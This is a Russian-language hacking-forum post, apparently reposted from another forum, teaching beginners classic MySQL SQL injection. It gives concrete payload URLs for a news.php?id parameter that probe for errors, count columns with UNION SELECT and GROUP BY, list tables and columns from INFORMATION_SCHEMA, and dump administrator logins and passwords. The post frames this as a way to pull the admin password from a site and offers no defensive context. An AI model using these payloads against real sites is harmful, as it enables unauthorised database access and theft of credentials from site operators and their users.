1. MR-X25.08.2024 в 16:21от
  2. TOSHIBA25.08.2024 в 16:13от
  3. Spamshoot25.08.2024 в 15:05от
Загрузка...
Загрузка...

Sql иньекция для новичков

Тема в разделе "Статьи и обсуждения", создана пользователем Valkiria123, 25.08.2024 в 13:26.

  1. Valkiria123

    Valkiria123

    Статус:
    Онлайн
    Регистрация:
    25.08.24
    Сообщения:
    3
    Репутация:
    -1 +/-
    Чтоб найти sql иньекцию на сайте, необходимо понимать, что нужно обнаружить входящий параметр, который не фильтруется.

    Для этого необходимо передать с данными какой-то параметр. В нашем случае, это будет кавычка '.

    Ищем на сайте переменную, например news.php?id=1

    Допишем в запрос кавычку, чтоб вышло news.php?id=1'

    Если на сайте включены сообщения об ошибках, то мы увидим ошибку:
    mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''

    Если ошибки не возникло, то попробуем отправить запрос news.php?id=1' -- с пробелом в конце.

    Так же, если нету сообщения, может быть, что там нет иньекции.

    -=-=-=-

    Изменяем наш запрос, добавляем оператор UNION SELECT, это поможет выбрать колличество столбцов в базе данных, для того, чтобы вытащить пароль администратора.

    news.php?id=1'+UNION+SELECT+1 -- выбираем 1 столбец

    Если в таблице не одна колонка, то вылезет ошибка:

    mysql_query(): The used SELECT statements have a different number of columns

    Пробуем перебирать колонки, добавляем в запрос цифры:

    news.php?id=1'+UNION+SELECT+1,2 --


    Запустилось без ошибки, как news.php?id=1
    Значит количество столбцов 2

    -=-=-=-

    Легче всего искать количество колонок оператором GROUP BY, там можно их перебирать сразу десятками

    Например: news.php?id=1'+GROUP+BY+10 --

    Если вылезает ошибка:
    mysql_query(): Unknown column '10' in 'group statement'
    значит столбцов меньше чем 10.

    Пробуем запрос news.php?id=1'+GROUP+BY+5 --
    Если нету ошибки, значит столбцов больше или равно 5.

    Пробуем запрос news.php?id=1'+GROUP+BY+6 --
    и ошибка пропала. Значит мы подобрали количество столбцов, их 6.

    -=-=-=-

    Чтоб вытащить информацию, нам необходимо использовать оператор UNION SELECT и отрицательный параметр. То есть добавим знак - в запрос, перед данными.
    Используем: news.php?id=-1'+UNION+SELECT+1,2,3,4,5,6 --

    Если цифры на странице отсутствуют, то есть нигде не появились цифры от 1 до 6, то, скорее всего, вывод информации отсутствует. Если же вы заметили где-то одну из этих цифр, значит мы можем вывести логин и пароль администратора.

    Для этого используем таблицу INFORMATION_SCHEMA.TABLES.

    Например вывелась цифра 3 и 5, тогда используем запрос вида:
    news.php?id=-1'+UNION+SELECT+1,2,TABLE_NAME,4,5,6+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1 --

    Если выводит только первую строку, используем запрос вида:
    news.php?id=-1'+UNION+SELECT+1,2,TABLE_NAME,4,5,6+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1 --

    Для второй строки:
    news.php?id=-1'+UNION+SELECT+1,2,TABLE_NAME,4,5,6+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1 --

    и так далее.

    Ищем таблицу users, members, administrators и тому подобное. Любое ценное слово, которое вызывает интерес. Будем смотреть там информацию.

    Что посмотреть содержимое колонки, нам нужна таблица INFORMATION_SCHEMA.COLUMNS. Что вывести содержимое столбца, используем оператор COLUMN_NAME в таблице TABLE_NAME

    Используем запрос вида:
    news.php?id=-1'+UNION+SELECT+1,2,COLUMN_NAME,4,5,6+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=’Administrators’ LIMIT+0,1 --

    и

    news.php?id=-1'+UNION+SELECT+1,2,COLUMN_NAME,4,5,6+FROM INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=’Administrators’+LIMIT+1,1 --

    и так далее.

    Далее, используем запрос:
    news.php?id=-1'+UNION+SELECT+1,2,login,password,5,6+FROM+Administrators+LIMIT+0,1 --

    который выведет нам логин и пароль первого пользователя из таблицы Administrators.

    Источник: http://hackmode.ru/showthread.php?t=37
    Возможно, тему нужно переместить в раздел https://youhack.co/forums/76/
     
    Последнее редактирование: 25.08.2024 в 13:31